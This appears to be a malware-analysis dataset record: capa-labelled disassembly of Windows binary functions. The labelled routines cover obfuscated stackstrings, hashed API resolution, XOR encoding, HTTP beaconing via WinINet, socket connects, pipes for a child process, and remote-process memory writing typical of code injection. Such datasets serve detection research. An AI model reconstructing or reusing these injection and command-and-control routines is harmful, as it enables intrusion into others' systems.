joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140131d48
Capabilities:
Contain obfuscated stackstrings
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
test eax, eax
js 0x140132050
test al, 0x40
je 0x140132050
and eax, 0xffffffbf
mov r9d, 0x20
jmp 0x140131e16
xchg r8, rcx
mov r8, rsi
xchg r8, rcx
call fcn.1401334d0
jmp 0x140131caa
cpuid
lea r8d, [rdx + 0x440d]
lea edi, [rbx - 0xedfa]
rol r10d, 0x41
lea r9, [rbp + 0x120]
jmp 0x140131ed8
test dil, dil
jne 0x1401320de
mov eax, dword [rbx + 0x24]
jmp 0x140131b03
add ebp, 0x191f2feb
call rax
inc r8
lea r11d, [rdx + 0xbf37]
call rcx
cmp r15d, 0x75848e6a
mul r8
je 0x140131d7f
jne 0x140131d7f
popf
jmp 0x140132a06
jmp 0x140131bfe
or eax, 0x20000020
mov dword [rbp + 0x20], r9d
mov dword [rbx + 0x24], eax
jmp 0x140132054
mov dword [rsp + 0x20], 2
lea r8, [rbp + 0x1a0]
mov edx, r14d
jmp 0x140131bc6
mov r9d, dword [rbp + 0x20]
lea rax, [rbp + 0x20]
mov rcx, 0xffffffffffffffff
jmp 0x140132316
mov dword [rbp + 0x30], 0xf6f6f6f6
mov dword [rbp + 0x84], 0x6b737e73
mov dword [rbp + 0x34], 0xf6f6f6f6
mov dword [rbp + 0x88], 0x6f847376
mov dword [rbp + 0x38], 0xf6f6f6f6
mov dword [rbp + 0x8c], 0x55572a44
mov dword [rbp + 0x3c], 0xf6f6f6f6
je 0x1401330bb
jne 0x1401330bb
movabs r14, 0x502d6c000000f8e9
ror r12d, 0x37
pushf
lea ebp, [rcx + 0x1933]
xor ebp, 0xe9cc7d27
call 0x140133bb2
jmp 0x1401331b8
mov dword [rbp + 0xb0], 0x737c7e7d
mov dword [rbp + 0x60], 0xf6f6f6f6
mov dword [rbp + 0xb4], 0x6b7e7f6c
je 0x140133106
jne 0x140133106
cmp r10d, 0x497c3af1
ror r15d, 0x17
movabs rcx, 0x1f6ff5000001abe9
jmp 0x140132737
jmp 0x1401332b6
cmp rdx, 0x53
jb 0x14013319b
mov r9d, 0x10
lea r8, [rsp + 0x4e]
jmp 0x140133179
inc rax
cmp rax, 0x53
jb 0x14013332b
nop
je 0x140133151
jne 0x140133151
lea ebx, [rcx - 0x6a29]
sub r8d, 0xd91915fe
call rcx
movabs r9, 0xf16da00000217e9
jmp rax
fcos
ror dword [rcx - 0x47], 1
jmp 0x14013336d
lea rdx, [rbp + 0x78]
xor ecx, ecx
call r12
xchg r9, rax
jmp 0x14013331b
movzx eax, byte [rbp + rdx + 0x78]
movzx ecx, byte [rbp + rdx + 0x24]
add cl, al
mov byte [rbp + rdx + 0x78], cl
mov byte [rbp + rdx + 0x24], r13b
inc rdx
jmp 0x140133113
mov dword [rbp + 0x90], 0x57143b4c
mov dword [rbp + 0x40], 0xf6f6f6f6
mov dword [rbp + 0x94], 0x2a6f756b
mov dword [rbp + 0x44], 0xf6f6f6f6
je 0x14013321a
jne 0x14013321a
jo 0x140133c5f
jns 0x1401337c6
lea r13d, [rbx + 0x9952]
jmp rax
jmp 0x140133296
mov dword [rbp + 0x70], 0xf6f6f6f6
mov dword [rbp + 0xc4], 0x76766b7e
mov word [rbp + 0x74], 0xf6f6
mov dword [rbp + 0xc8], 0x386e6f
mov byte [rbp + 0x76], 0xf6
nop dword [rax]
nop word [rax + rax]
jmp 0x14013319b
mov dword [rbp + 0x98], 0x6f7c7f7d
mov dword [rbp + 0x48], 0xf6f6f6f6
mov dword [rbp + 0x9c], 0x6f727e2a
jmp 0x140133335
mov dword [rbp + 0x64], 0xf6f6f6f6
mov dword [rbp + 0xb8], 0x7d6f766c
mov dword [rbp + 0x68], 0xf6f6f6f6
mov dword [rbp + 0xbc], 0x6f7c6b2a
mov dword [rbp + 0x6c], 0xf6f6f6f6
mov dword [rbp + 0xc0], 0x7d78732a
je 0x1401332ef
jne 0x1401332ef
movabs r14, 0x344c81ffffff6be9
cmp r14d, 0x6366fe7
invalid
jmp 0x14013325f
Function at 0x1401334d0
Capabilities:
Hash data using fnv

Disassembly:
fimul dword [rcx + 0x3b]
fimul dword [rdi]
test byte [rax], dl
add byte [rax], al
invalid
xchg r9, rbx
mov qword [rsp + 0x20], rbx
xchg rbx, r9
xchg r9, r8
mov qword [rsp + 0x18], r9
jne 0x14013350c
je 0x14013350c
lea ebx, [rbp + 0x2738]
rol ebp, 0x9b
jnp 0x140132805
cmp rbp, rcx
jno 0x14013276b
jmp rcx
jmp 0x14013353f
xchg rcx, rax
mov qword [rsp + 0x10], rcx
xchg rcx, rax
jmp 0x140133572
xchg r9, r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
jmp 0x140133554
lea rax, [0x140133760]
mov qword [rsp + 0x18], rax
mov dword [rsp + 0x18], eax
mov dword [rsp + 8], 0
mov rax, qword [rsp + 0x30]
jmp 0x140133531
jmp 0x1401335de
Function at 0x180001448
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbp, rcx
mov ecx, dword [r9]
mov rbx, r9
mov esi, r8d
mov rdi, rdx
call fcn.1800040f4
test eax, eax
jne 0x180001569
mov ecx, dword [r9 + 4]
lea eax, [rcx - 1]
cmp eax, 0x7f
ja 0x180001564
xor edx, edx
mov eax, r8d
div ecx
mov r8d, eax
test edx, edx
jne 0x180001564
test cl, 3
jne 0x180001564
movsxd rax, dword [r9]
lea r12, [0x180048750]
imul rax, rax, 0xb0
mov r10, qword [rax + r12 + 0x60]
test r10, r10
je 0x1800014e5
lea rax, [r9 + 0x88]
mov rdx, rdi
mov rcx, rbp
add r9, 8
mov qword [rsp + 0x20], rax
call r10
jmp 0x180001569
test esi, esi
je 0x180001560
lea r14, [r9 + 8]
xor edx, edx
test ecx, ecx
jle 0x18000150f
mov r8, rbp
mov rcx, r14
sub r8, rbx
mov eax, dword [r8 + rcx - 8]
add edx, 4
xor dword [rcx], eax
lea rcx, [rcx + 4]
cmp edx, dword [rbx + 4]
jl 0x1800014fc
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
mov rdx, rdi
mov rcx, r14
imul rax, rax, 0xb0
call qword [rax + r12 + 0x28]
test eax, eax
jne 0x180001569
xor edx, edx
cmp dword [rbx + 4], edx
jle 0x180001552
mov r8, rdi
mov rcx, r14
sub r8, rbx
mov eax, dword [r8 + rcx - 8]
add edx, 4
mov dword [rcx], eax
lea rcx, [rcx + 4]
cmp edx, dword [rbx + 4]
jl 0x18000153f
movsxd rcx, dword [rbx + 4]
add rdi, rcx
add rbp, rcx
sub esi, ecx
jne 0x1800014ed
xor eax, eax
jmp 0x180001569
mov eax, 0x10
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x180001588
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x58
mov rax, qword [0x180041ec8]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, rcx
mov ecx, dword [r9]
mov rbx, r9
mov esi, r8d
mov rbp, rdx
call fcn.1800040f4
test eax, eax
jne 0x1800016a6
mov ecx, dword [r9 + 4]
lea eax, [rcx - 1]
cmp eax, 0x7f
ja 0x1800016a1
xor edx, edx
mov eax, r8d
div ecx
mov r8d, eax
test edx, edx
jne 0x1800016a1
test cl, 3
jne 0x1800016a1
movsxd rax, dword [r9]
lea r15, [0x180048750]
imul rax, rax, 0xb0
mov r10, qword [rax + r15 + 0x68]
test r10, r10
je 0x180001624
lea rax, [r9 + 0x88]
mov rdx, rbp
mov rcx, rdi
add r9, 8
mov qword [rsp + 0x20], rax
call r10
jmp 0x1800016a6
test esi, esi
je 0x18000169d
movsxd rax, dword [rbx]
lea r8, [rbx + 0x88]
lea rdx, [rsp + 0x30]
mov rcx, rdi
imul rax, rax, 0xb0
call qword [rax + r15 + 0x30]
test eax, eax
jne 0x1800016a6
xor r8d, r8d
cmp dword [rbx + 4], r8d
jle 0x18000168e
lea r9, [rsp + 0x30]
mov r10, rdi
mov r11, rbp
sub r9, rdi
sub r10, rbx
sub r11, rbx
lea rdx, [rbx + 8]
lea rax, [r10 + rdx]
add r8d, 4
mov ecx, dword [r9 + rax - 8]
mov eax, dword [rax - 8]
xor ecx, dword [rdx]
mov dword [rdx], eax
lea rdx, [rdx + 4]
mov dword [r11 + rdx - 0xc], ecx
cmp r8d, dword [rbx + 4]
jl 0x18000166b
movsxd rax, dword [rbx + 4]
add rdi, rax
add rbp, rax
sub esi, dword [rbx + 4]
jne 0x180001628
xor eax, eax
jmp 0x1800016a6
mov eax, 0x10
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180023bc0
add rsp, 0x58
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800039f4
Capabilities:
Hash data using sha256

Disassembly:
and dword [rcx + 0x28], 0
and qword [rcx], 0
xor eax, eax
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
mov dword [rcx + 0x24], 0x5be0cd19
ret

Function at 0x180004170
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [rcx + 0x70]
mov r13, r8
mov r15, rdx
call fcn.18000411c
test eax, eax
jne 0x1800042e2
movsxd rdi, dword [rsi + 0x70]
lea rbx, [0x180049d50]
shl rdi, 7
mov ecx, dword [rdi + rbx + 0x10]
mov r12d, dword [rdi + rbx + 0xc]
call fcn.18001b228
mov ecx, r12d
mov r14, rax
call fcn.18001b228
mov rbp, rax
test r14, r14
je 0x1800042d0
test rax, rax
je 0x1800042c8
mov rdx, rax
mov rcx, rsi
call qword [rdi + rbx + 0x68]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea r9, [0x180049d50]
xor r8d, r8d
cmp dword [rdi + r9 + 0x10], r8d
jbe 0x180004223
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x5c
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rdi + r9 + 0x10]
jb 0x180004207
mov rcx, rsi
call qword [rdi + r9 + 0x58]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180049d50]
mov rdx, r14
mov rcx, rsi
mov r8d, dword [rdi + rax + 0x10]
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180049d50]
mov r8d, r12d
mov rdx, rbp
mov rcx, rsi
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180049d50]
mov rdx, r14
mov rcx, rsi
call qword [rdi + rax + 0x68]
mov ebx, eax
test eax, eax
jne 0x1800042a8
xor ecx, ecx
test r12d, r12d
je 0x1800042a2
mov rdx, r14
sub rdx, r15
cmp ecx, dword [r13]
jae 0x1800042a2
mov al, byte [rdx + r15]
inc ecx
mov byte [r15], al
inc r15
cmp ecx, r12d
jb 0x18000428b
mov dword [r13], ecx
xor ebx, ebx
mov rcx, qword [rsi + 0xe8]
call fcn.18001b1e8
mov rcx, rbp
call fcn.18001b1e8
mov rcx, r14
call fcn.18001b1e8
mov eax, ebx
jmp 0x1800042e2
mov rcx, r14
call fcn.18001b1e8
test rbp, rbp
je 0x1800042dd
mov rcx, rbp
call fcn.18001b1e8
mov eax, 0xd
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000e3a0
Capabilities:
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
and qword [rsp + 0x50], 0
and dword [rbp + 0x3d8], 0
and dword [rsp + 0x40], 0
xor esi, esi
mov r15, r8
mov rbx, rcx
and qword [rsp + 0x60], rsi
lea rax, [0x18002e700]
mov r13, rdx
lea r8d, [rsi + 0x38]
lea rcx, [rsp + 0x68]
xor edx, edx
mov r14d, r9d
mov qword [rsp + 0x48], rax
call fcn.18001b4d0
lea rcx, [rbp - 0x5f]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp - 0x60], sil
call fcn.18001b4d0
mov edx, dword [r13 + 4]
lea rcx, [rsp + 0x60]
call fcn.180016a40
mov rcx, qword [rsp + 0x70]
lea r8, [0x18002e6f4]
mov r9, rbx
mov edx, 0x400
call fcn.18001b5dc
lea ecx, [rsi + 0xc]
call fcn.180019768
mov r9d, dword [r13 + 4]
and dword [rsp + 0x28], esi
and qword [rsp + 0x20], rsi
lea r8, [r13 + 8]
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.1800161a8
mov rcx, qword [rsp + 0x68]
or rdi, 0xffffffffffffffff
mov rax, rdi
inc rax
cmp byte [rcx + rax], sil
jne 0x18000e470
mov r9, qword [rsp + 0x70]
mov edx, 0x400
test rax, rax
jne 0x18000e49a
lea r8, [0x18002e6f4]
lea rcx, [rbp - 0x60]
call fcn.18001b5dc
jmp 0x18000e4af
mov qword [rsp + 0x20], rcx
lea r8, [0x18002e708]
lea rcx, [rbp - 0x60]
call fcn.18001b5dc
mov ecx, 0x1a
call fcn.180019768
mov rcx, qword [0x180042490]
lea r8, [rbp - 0x60]
mov rdx, rax
lea rax, [0x1800424a8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov eax, dword [0x1800424a4]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rbx, rax
call fcn.18000e5f0
mov rdx, qword [rsp + 0x60]
mov r8, rdi
inc r8
cmp byte [rdx + r8], sil
jne 0x18000e508
mov eax, dword [rbp - 0x80]
mov r9, qword [rsp + 0x78]
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov edx, dword [r13 + 4]
lea rcx, [rsp + 0x60]
call fcn.180016a34
mov rcx, rbx
call fcn.18000ebf0
test eax, eax
je 0x18000e56b
lea rdx, [rbp + 0x3d8]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x18000e56b
mov eax, dword [rbp + 0x3d8]
cmp eax, r14d
jae 0x18000e56b
test eax, eax
jne 0x18000e592
xor edi, edi
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
test r14d, r14d
je 0x18000e56b
mov edx, esi
lea r9, [rsp + 0x40]
mov r8d, 0x1000
add rdx, r15
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000e5c3
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x18000e5c3
add esi, eax
cmp esi, r14d
jb 0x18000e597
cmp esi, r14d
jae 0x18000e56b
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0xb
call fcn.180019768
mov r9d, r14d
mov r8d, esi
mov rcx, rax
mov rdx, r15
call fcn.180016adc
jmp 0x18000e576
Function at 0x18000e8d4
Capabilities:
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x418]
sub rsp, 0x510
and qword [rbp - 0x78], 0
mov rbx, rcx
lea rax, [0x18002e700]
lea rcx, [rbp + 0x11]
xor edx, edx
mov r8d, 0x3ff
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x10], 0
call fcn.18001b4d0
xor edx, edx
lea rcx, [rbp - 0x6f]
mov byte [rbp - 0x70], 0
lea r8d, [rdx + 0x7f]
call fcn.18001b4d0
and qword [rsp + 0x40], 0
xor edx, edx
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x48]
call fcn.18001b4d0
mov edx, dword [0x1800424a0]
test edx, edx
je 0x18000eaee
lea rcx, [rsp + 0x40]
call fcn.180016a40
mov rcx, qword [rsp + 0x50]
mov edi, 0x400
lea r8, [0x18002e6f4]
mov edx, edi
mov r9, rbx
call fcn.18001b5dc
mov r9d, dword [0x18004b780]
lea r8, [0x18002e704]
lea rcx, [rbp - 0x70]
mov edx, 0x80
call fcn.18001b5dc
or r14, 0xffffffffffffffff
lea rax, [rbp - 0x70]
mov rbx, r14
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000e99d
mov ecx, 0xd
call fcn.180019768
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, rax
mov eax, dword [0x1800424a0]
mov r9d, ebx
mov dword [rsp + 0x28], eax
mov rax, qword [0x180042498]
mov qword [rsp + 0x20], rax
call fcn.1800161a8
mov rcx, qword [rsp + 0x48]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x18000e9e2
mov r9, qword [rsp + 0x50]
mov rdx, rdi
test rax, rax
jne 0x18000ea0a
lea r8, [0x18002e6f4]
lea rcx, [rbp + 0x10]
call fcn.18001b5dc
jmp 0x18000ea1f
mov qword [rsp + 0x20], rcx
lea r8, [0x18002e708]
lea rcx, [rbp + 0x10]
call fcn.18001b5dc
call fcn.18001a948
xor ebx, ebx
mov ecx, 0x1b
call fcn.180019768
mov rcx, qword [0x180042490]
lea r8, [rbp + 0x10]
mov rdx, rax
lea rax, [0x1800424a8]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov eax, dword [0x1800424a4]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.18000e5f0
mov rdx, qword [rsp + 0x40]
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x18000ea7f
mov eax, dword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call fcn.18000ebf0
mov rcx, rdi
test eax, eax
jne 0x18000eacc
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 4
jb 0x18000ea26
jmp 0x18000ead2
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x1800424a0]
lea rcx, [rsp + 0x40]
call fcn.180016a34
and dword [0x1800424a0], 0
call fcn.18001a978
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18000ebf0
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
lea r9, [rax + 0x10]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
mov dword [rax + 0x10], 0x100
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x18000ec33
lea rcx, [rsp + 0x30]
call fcn.18001bda4
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x18000ed34
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
cmp dword [0x1800424b0], 1
je 0x18000edca
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000edd2
mov ecx, 0x14
mov dword [0x1800424b0], 1
call fcn.180019714
mov ecx, 0x13
mov dword [0x1800424b4], eax
call fcn.180019714
mov ecx, 0x3d
mov dword [0x1800424b8], eax
call fcn.180019768
mov ecx, 0x3e
mov qword [0x18004bba8], rax
call fcn.180019768
mov ecx, 0x3f
mov qword [0x18004bba0], rax
call fcn.180019768
mov ecx, 0x42
mov qword [0x18004bb98], rax
call fcn.180019768
mov qword [0x18004bb90], rax
add rsp, 0x1c8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001c3b4
int3
Function at 0x18000f8f0
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.18001b4d0
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], 0x10
call fcn.180015f98
test eax, eax
je 0x18000f9d9
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.1800134b4
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000fa68
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000faaa
mov rax, rbp
jmp 0x18000fb04
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000faa5
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001b8c0
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_ntohs_1
lea rdx, [rsp + 0x20]
mov r8d, 0x10
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000fb01
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000faa5
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x180010c4c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x180010c3e
mov ecx, dword [rcx]
call sub.WS2_32.dll_ntohl_1
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.18001c480
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x1800424d0], rsi
mov rbx, rcx
jne 0x180010c8a
mov ecx, 0x80004
call fcn.18001b228
mov qword [0x1800424d0], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_ntohl_1
mov rcx, qword [0x1800424d0]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x180010cdc
mov rax, qword [0x1800424d0]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.18001ccd0
test eax, eax
je 0x180010cd8
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x180010ca8
jmp 0x180010cdc
and dword [rbx + 4], 0
mov rcx, qword [0x1800424d0]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x180010c04
Function at 0x1800126e4
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ecx, 0x2c
mov rdi, rdx
call fcn.18001979c
mov ecx, 0x2b
movzx ebx, ax
call fcn.18001979c
cmp ax, bx
je 0x18001274e
mov ecx, 0x2c
call fcn.18001979c
lea r9, [rsp + 0x40]
mov rdx, rdi
movzx r8d, ax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18001274e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x11
mov edx, eax
call fcn.18000e2a4
xor eax, eax
jmp 0x180012753
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1800129dc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor ebx, ebx
mov esi, r9d
lea ecx, [rbx + 0x2d]
mov r12, r8
call fcn.180019714
lea ecx, [rbx + 0x2b]
mov ebp, eax
cmp esi, eax
cmova ebp, esi
mov r15d, ebp
call fcn.18001979c
mov r9d, 0x3000
movzx eax, ax
mov r8d, ebp
xor edx, edx
mov rcx, r14
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x180012a54
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x1f]
mov edx, ebp
mov r8d, eax
call fcn.18000e2b0
xor eax, eax
jmp 0x180012b0f
test esi, esi
jle 0x180012a95
movsxd rcx, ebx
mov eax, esi
sub eax, ebx
lea r8, [rcx + r12]
lea rdx, [rcx + rdi]
movsxd r9, eax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180012ae4
mov eax, dword [rsp + 0x88]
add ebx, eax
test eax, eax
je 0x180012af6
cmp ebx, esi
jl 0x180012a58
mov esi, 0x2c
mov ecx, esi
call fcn.18001979c
lea ecx, [rsi - 1]
movzx ebx, ax
call fcn.18001979c
cmp ax, bx
je 0x180012b0c
mov ecx, esi
call fcn.18001979c
mov r8, r15
mov rdx, rdi
movzx r9d, ax
lea rax, [rsp + 0x30]
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x180012b0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rsi - 0x1b]
jmp 0x180012aef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x10
mov edx, eax
call fcn.18000e2a4
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180012a4d
mov rax, rdi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret